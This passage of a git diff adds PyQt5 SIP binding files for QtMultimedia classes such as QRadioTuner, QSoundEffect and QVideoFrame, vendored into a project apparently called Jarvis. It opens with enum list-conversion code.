++i) + { + PyObject *eobj = sipConvertFromEnum(sipCpp->at(i), + sipType_QAudioFormat_Endian); + + if (!eobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, eobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList *ql = new QList; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int v = sipConvertToEnum(itm, sipType_QAudioFormat_Endian); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'QAudioFormat.Endian' is expected", + i, sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + ql->append(static_cast(v)); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; + + +%MappedType QList + /TypeHintIn="Iterable[QAudioFormat.SampleType]", + TypeHintOut="List[QAudioFormat.SampleType]", TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *eobj = sipConvertFromEnum(sipCpp->at(i), + sipType_QAudioFormat_SampleType); + + if (!eobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, eobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList *ql = new QList; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int v = sipConvertToEnum(itm, sipType_QAudioFormat_SampleType); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'QAudioFormat.SampleType' is expected", + i, sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + ql->append(static_cast(v)); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; + + +%If (Qt_5_6_0 -) + +%MappedType QList + /TypeHintIn="Iterable[QAudio.Role]", + TypeHintOut="List[QAudio.Role]", TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *eobj = sipConvertFromEnum(sipCpp->at(i), + sipType_QAudio_Role); + + if (!eobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, eobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList *ql = new QList; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int v = sipConvertToEnum(itm, sipType_QAudio_Role); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'QAudio.Role' is expected", + i, sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + ql->append(static_cast(v)); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qradiodata.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qradiodata.sip new file mode 100644 index 00000000..050ff122 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qradiodata.sip @@ -0,0 +1,117 @@ +// qradiodata.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QRadioData : QObject, QMediaBindableInterface +{ +%TypeHeaderCode +#include +%End + +public: + enum Error + { + NoError, + ResourceError, + OpenError, + OutOfRangeError, + }; + + enum ProgramType + { + Undefined, + News, + CurrentAffairs, + Information, + Sport, + Education, + Drama, + Culture, + Science, + Varied, + PopMusic, + RockMusic, + EasyListening, + LightClassical, + SeriousClassical, + OtherMusic, + Weather, + Finance, + ChildrensProgrammes, + SocialAffairs, + Religion, + PhoneIn, + Travel, + Leisure, + JazzMusic, + CountryMusic, + NationalMusic, + OldiesMusic, + FolkMusic, + Documentary, + AlarmTest, + Alarm, + Talk, + ClassicRock, + AdultHits, + SoftRock, + Top40, + Soft, + Nostalgia, + Classical, + RhythmAndBlues, + SoftRhythmAndBlues, + Language, + ReligiousMusic, + ReligiousTalk, + Personality, + Public, + College, + }; + + QRadioData(QMediaObject *mediaObject, QObject *parent /TransferThis/ = 0); + virtual ~QRadioData(); + virtual QMediaObject *mediaObject() const; + QMultimedia::AvailabilityStatus availability() const; + QString stationId() const; + QRadioData::ProgramType programType() const; + QString programTypeName() const; + QString stationName() const; + QString radioText() const; + bool isAlternativeFrequenciesEnabled() const; + QRadioData::Error error() const; + QString errorString() const; + +public slots: + void setAlternativeFrequenciesEnabled(bool enabled); + +signals: + void stationIdChanged(QString stationId); + void programTypeChanged(QRadioData::ProgramType programType); + void programTypeNameChanged(QString programTypeName); + void stationNameChanged(QString stationName); + void radioTextChanged(QString radioText); + void alternativeFrequenciesEnabledChanged(bool enabled); + void error(QRadioData::Error error); + +protected: + virtual bool setMediaObject(QMediaObject *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qradiodatacontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qradiodatacontrol.sip new file mode 100644 index 00000000..4492153e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qradiodatacontrol.sip @@ -0,0 +1,52 @@ +// qradiodatacontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QRadioDataControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QRadioDataControl(); + virtual QString stationId() const = 0; + virtual QRadioData::ProgramType programType() const = 0; + virtual QString programTypeName() const = 0; + virtual QString stationName() const = 0; + virtual QString radioText() const = 0; + virtual void setAlternativeFrequenciesEnabled(bool enabled) = 0; + virtual bool isAlternativeFrequenciesEnabled() const = 0; + virtual QRadioData::Error error() const = 0; + virtual QString errorString() const = 0; + +signals: + void stationIdChanged(QString stationId); + void programTypeChanged(QRadioData::ProgramType programType); + void programTypeNameChanged(QString programTypeName); + void stationNameChanged(QString stationName); + void radioTextChanged(QString radioText); + void alternativeFrequenciesEnabledChanged(bool enabled); + void error(QRadioData::Error err); + +protected: + explicit QRadioDataControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qradiotuner.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qradiotuner.sip new file mode 100644 index 00000000..8def888e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qradiotuner.sip @@ -0,0 +1,116 @@ +// qradiotuner.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QRadioTuner : QMediaObject +{ +%TypeHeaderCode +#include +%End + +public: + enum State + { + ActiveState, + StoppedState, + }; + + enum Band + { + AM, + FM, + SW, + LW, + FM2, + }; + + enum Error + { + NoError, + ResourceError, + OpenError, + OutOfRangeError, + }; + + enum StereoMode + { + ForceStereo, + ForceMono, + Auto, + }; + + enum SearchMode + { + SearchFast, + SearchGetStationId, + }; + +%If (Qt_5_6_1 -) + explicit QRadioTuner(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QRadioTuner(QObject *parent /TransferThis/ = 0); +%End + virtual ~QRadioTuner(); + virtual QMultimedia::AvailabilityStatus availability() const; + QRadioTuner::State state() const; + QRadioTuner::Band band() const; + bool isBandSupported(QRadioTuner::Band b) const; + int frequency() const; + int frequencyStep(QRadioTuner::Band band) const; + QPair frequencyRange(QRadioTuner::Band band) const; + bool isStereo() const; + void setStereoMode(QRadioTuner::StereoMode mode); + QRadioTuner::StereoMode stereoMode() const; + int signalStrength() const; + int volume() const; + bool isMuted() const; + bool isSearching() const; + bool isAntennaConnected() const; + QRadioTuner::Error error() const; + QString errorString() const; + QRadioData *radioData() const; + +public slots: + void searchForward(); + void searchBackward(); + void searchAllStations(QRadioTuner::SearchMode searchMode = QRadioTuner::SearchFast); + void cancelSearch(); + void setBand(QRadioTuner::Band band); + void setFrequency(int frequency); + void setVolume(int volume); + void setMuted(bool muted); + void start(); + void stop(); + +signals: + void stateChanged(QRadioTuner::State state); + void bandChanged(QRadioTuner::Band band); + void frequencyChanged(int frequency); + void stereoStatusChanged(bool stereo); + void searchingChanged(bool searching); + void signalStrengthChanged(int signalStrength); + void volumeChanged(int volume); + void mutedChanged(bool muted); + void stationFound(int frequency, QString stationId); + void antennaConnectedChanged(bool connectionStatus); + void error(QRadioTuner::Error error); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qradiotunercontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qradiotunercontrol.sip new file mode 100644 index 00000000..f8f7af1a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qradiotunercontrol.sip @@ -0,0 +1,73 @@ +// qradiotunercontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QRadioTunerControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QRadioTunerControl(); + virtual QRadioTuner::State state() const = 0; + virtual QRadioTuner::Band band() const = 0; + virtual void setBand(QRadioTuner::Band b) = 0; + virtual bool isBandSupported(QRadioTuner::Band b) const = 0; + virtual int frequency() const = 0; + virtual int frequencyStep(QRadioTuner::Band b) const = 0; + virtual QPair frequencyRange(QRadioTuner::Band b) const = 0; + virtual void setFrequency(int frequency) = 0; + virtual bool isStereo() const = 0; + virtual QRadioTuner::StereoMode stereoMode() const = 0; + virtual void setStereoMode(QRadioTuner::StereoMode mode) = 0; + virtual int signalStrength() const = 0; + virtual int volume() const = 0; + virtual void setVolume(int volume) = 0; + virtual bool isMuted() const = 0; + virtual void setMuted(bool muted) = 0; + virtual bool isSearching() const = 0; + virtual bool isAntennaConnected() const; + virtual void searchForward() = 0; + virtual void searchBackward() = 0; + virtual void searchAllStations(QRadioTuner::SearchMode searchMode = QRadioTuner::SearchFast) = 0; + virtual void cancelSearch() = 0; + virtual void start() = 0; + virtual void stop() = 0; + virtual QRadioTuner::Error error() const = 0; + virtual QString errorString() const = 0; + +signals: + void stateChanged(QRadioTuner::State state); + void bandChanged(QRadioTuner::Band band); + void frequencyChanged(int frequency); + void stereoStatusChanged(bool stereo); + void searchingChanged(bool searching); + void signalStrengthChanged(int signalStrength); + void volumeChanged(int volume); + void mutedChanged(bool muted); + void error(QRadioTuner::Error err); + void stationFound(int frequency, QString stationId); + void antennaConnectedChanged(bool connectionStatus); + +protected: + explicit QRadioTunerControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qsound.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qsound.sip new file mode 100644 index 00000000..143ddbe6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qsound.sip @@ -0,0 +1,47 @@ +// qsound.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSound : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Loop + { + Infinite, + }; + + QSound(const QString &filename, QObject *parent /TransferThis/ = 0); + virtual ~QSound(); + static void play(const QString &filename); + int loops() const; + int loopsRemaining() const; + void setLoops(int); + QString fileName() const; + bool isFinished() const; + +public slots: + void play(); + void stop(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qsoundeffect.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qsoundeffect.sip new file mode 100644 index 00000000..ff3dfc89 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qsoundeffect.sip @@ -0,0 +1,78 @@ +// qsoundeffect.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSoundEffect : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Loop + { + Infinite, + }; + + enum Status + { + Null, + Loading, + Ready, + Error, + }; + + explicit QSoundEffect(QObject *parent /TransferThis/ = 0); +%If (Qt_5_13_0 -) + QSoundEffect(const QAudioDeviceInfo &audioDevice, QObject *parent /TransferThis/ = 0); +%End + virtual ~QSoundEffect(); + static QStringList supportedMimeTypes(); + QUrl source() const; + void setSource(const QUrl &url); + int loopCount() const; + int loopsRemaining() const; + void setLoopCount(int loopCount); + qreal volume() const; + void setVolume(qreal volume); + bool isMuted() const; + void setMuted(bool muted); + bool isLoaded() const; + bool isPlaying() const; + QSoundEffect::Status status() const; + QString category() const; + void setCategory(const QString &category); + +signals: + void sourceChanged(); + void loopCountChanged(); + void loopsRemainingChanged(); + void volumeChanged(); + void mutedChanged(); + void loadedChanged(); + void playingChanged(); + void statusChanged(); + void categoryChanged(); + +public slots: + void play(); + void stop(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideodeviceselectorcontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideodeviceselectorcontrol.sip new file mode 100644 index 00000000..f21020fe --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideodeviceselectorcontrol.sip @@ -0,0 +1,47 @@ +// qvideodeviceselectorcontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QVideoDeviceSelectorControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QVideoDeviceSelectorControl(); + virtual int deviceCount() const = 0; + virtual QString deviceName(int index) const = 0; + virtual QString deviceDescription(int index) const = 0; + virtual int defaultDevice() const = 0; + virtual int selectedDevice() const = 0; + +public slots: + virtual void setSelectedDevice(int index) = 0; + +signals: + void selectedDeviceChanged(int index); + void selectedDeviceChanged(const QString &name); + void devicesChanged(); + +protected: + explicit QVideoDeviceSelectorControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideoencodersettingscontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideoencodersettingscontrol.sip new file mode 100644 index 00000000..55d7758d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideoencodersettingscontrol.sip @@ -0,0 +1,40 @@ +// qvideoencodersettingscontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QVideoEncoderSettingsControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QVideoEncoderSettingsControl(); + virtual QList supportedResolutions(const QVideoEncoderSettings &settings, bool *continuous = 0) const = 0; + virtual QList supportedFrameRates(const QVideoEncoderSettings &settings, bool *continuous = 0) const = 0; + virtual QStringList supportedVideoCodecs() const = 0; + virtual QString videoCodecDescription(const QString &codec) const = 0; + virtual QVideoEncoderSettings videoSettings() const = 0; + virtual void setVideoSettings(const QVideoEncoderSettings &settings) = 0; + +protected: + explicit QVideoEncoderSettingsControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideoframe.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideoframe.sip new file mode 100644 index 00000000..4e65d03e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideoframe.sip @@ -0,0 +1,154 @@ +// qvideoframe.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QVideoFrame +{ +%TypeHeaderCode +#include +%End + +public: + enum FieldType + { + ProgressiveFrame, + TopField, + BottomField, + InterlacedFrame, + }; + + enum PixelFormat + { + Format_Invalid, + Format_ARGB32, + Format_ARGB32_Premultiplied, + Format_RGB32, + Format_RGB24, + Format_RGB565, + Format_RGB555, + Format_ARGB8565_Premultiplied, + Format_BGRA32, + Format_BGRA32_Premultiplied, + Format_BGR32, + Format_BGR24, + Format_BGR565, + Format_BGR555, + Format_BGRA5658_Premultiplied, + Format_AYUV444, + Format_AYUV444_Premultiplied, + Format_YUV444, + Format_YUV420P, + Format_YV12, + Format_UYVY, + Format_YUYV, + Format_NV12, + Format_NV21, + Format_IMC1, + Format_IMC2, + Format_IMC3, + Format_IMC4, + Format_Y8, + Format_Y16, + Format_Jpeg, + Format_CameraRaw, + Format_AdobeDng, +%If (Qt_5_13_0 -) + Format_ABGR32, +%End +%If (Qt_5_14_0 -) + Format_YUV422P, +%End + Format_User, + }; + + QVideoFrame(); + QVideoFrame(QAbstractVideoBuffer *buffer, const QSize &size, QVideoFrame::PixelFormat format); + QVideoFrame(int bytes, const QSize &size, int bytesPerLine, QVideoFrame::PixelFormat format); + QVideoFrame(const QImage &image); + QVideoFrame(const QVideoFrame &other); + ~QVideoFrame(); + bool isValid() const; + QVideoFrame::PixelFormat pixelFormat() const; + QAbstractVideoBuffer::HandleType handleType() const; + QSize size() const; + int width() const; + int height() const; + QVideoFrame::FieldType fieldType() const; + void setFieldType(QVideoFrame::FieldType); + bool isMapped() const; + bool isReadable() const; + bool isWritable() const; + QAbstractVideoBuffer::MapMode mapMode() const; + bool map(QAbstractVideoBuffer::MapMode mode); + void unmap(); + int bytesPerLine() const; +%If (Qt_5_4_0 -) + int bytesPerLine(int plane) const; +%End + SIP_PYOBJECT bits() /TypeHint="PyQt5.sip.voidptr"/; +%MethodCode + uchar *mem; + + Py_BEGIN_ALLOW_THREADS + mem = sipCpp->bits(); + Py_END_ALLOW_THREADS + + if (mem) + { + sipRes = sipConvertFromVoidPtrAndSize(mem, sipCpp->mappedBytes()); + } + else + { + sipRes = Py_None; + Py_INCREF(sipRes); + } +%End + +%If (Qt_5_4_0 -) + void *bits(int plane) [uchar * (int plane)]; +%End + int mappedBytes() const; + QVariant handle() const; + qint64 startTime() const; + void setStartTime(qint64 time); + qint64 endTime() const; + void setEndTime(qint64 time); + static QVideoFrame::PixelFormat pixelFormatFromImageFormat(QImage::Format format); + static QImage::Format imageFormatFromPixelFormat(QVideoFrame::PixelFormat format); + QVariantMap availableMetaData() const; + QVariant metaData(const QString &key) const; + void setMetaData(const QString &key, const QVariant &value); +%If (Qt_5_4_0 -) + int planeCount() const; +%End +%If (Qt_5_5_0 -) + bool operator==(const QVideoFrame &other) const; +%End +%If (Qt_5_5_0 -) + bool operator!=(const QVideoFrame &other) const; +%End +%If (Qt_5_13_0 -) + QAbstractVideoBuffer *buffer() const; +%End +%If (Qt_5_15_0 -) + QImage image() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideoprobe.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideoprobe.sip new file mode 100644 index 00000000..65efad6f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideoprobe.sip @@ -0,0 +1,39 @@ +// qvideoprobe.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QVideoProbe : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QVideoProbe(QObject *parent /TransferThis/ = 0); + virtual ~QVideoProbe(); + bool setSource(QMediaObject *source); + bool setSource(QMediaRecorder *source); + bool isActive() const; + +signals: + void videoFrameProbed(const QVideoFrame &videoFrame); + void flush(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideorenderercontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideorenderercontrol.sip new file mode 100644 index 00000000..0e248755 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideorenderercontrol.sip @@ -0,0 +1,36 @@ +// qvideorenderercontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QVideoRendererControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QVideoRendererControl(); + virtual QAbstractVideoSurface *surface() const = 0; + virtual void setSurface(QAbstractVideoSurface *surface) = 0; + +protected: + explicit QVideoRendererControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideosurfaceformat.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideosurfaceformat.sip new file mode 100644 index 00000000..566a1f03 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideosurfaceformat.sip @@ -0,0 +1,81 @@ +// qvideosurfaceformat.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// 